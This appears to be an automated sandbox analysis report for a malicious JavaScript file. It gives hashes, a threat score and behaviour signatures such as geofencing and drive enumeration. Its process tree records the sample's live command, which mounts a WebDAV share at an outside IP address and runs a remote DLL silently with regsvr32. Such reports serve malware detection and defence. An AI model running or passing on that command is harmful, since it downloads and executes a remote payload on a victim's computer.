Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/07/2024, 01:06

General

  • Target

    20087191002681321152.js

  • Size

    5KB

  • MD5

    2924b59a487ce6d8530e5fe1549ed684

  • SHA1

    322caf4e3a86ab8985bd62d43ddaa101adddbc10

  • SHA256

    6801db45ca891a62bf0a05242f594a6d6e6ed6cc36f1f84c955eabdd274b528f

  • SHA512

    f07b779205bd52cf3554022b041b033a8f121f5d8400ef60883efe9aa82ddcbdbe0ef1f46d4ebb305484accecb5f359ec2ab8919393fac836ff2c1b6f8013658

  • SSDEEP

    96:Vs6qc/DaiWTstB+faiW8RccYCAkH8CD3ds:Vs0/DazuBqacLYCAkcCu

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\20087191002681321152.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4052
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\18467218092889.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4940
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:1236

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads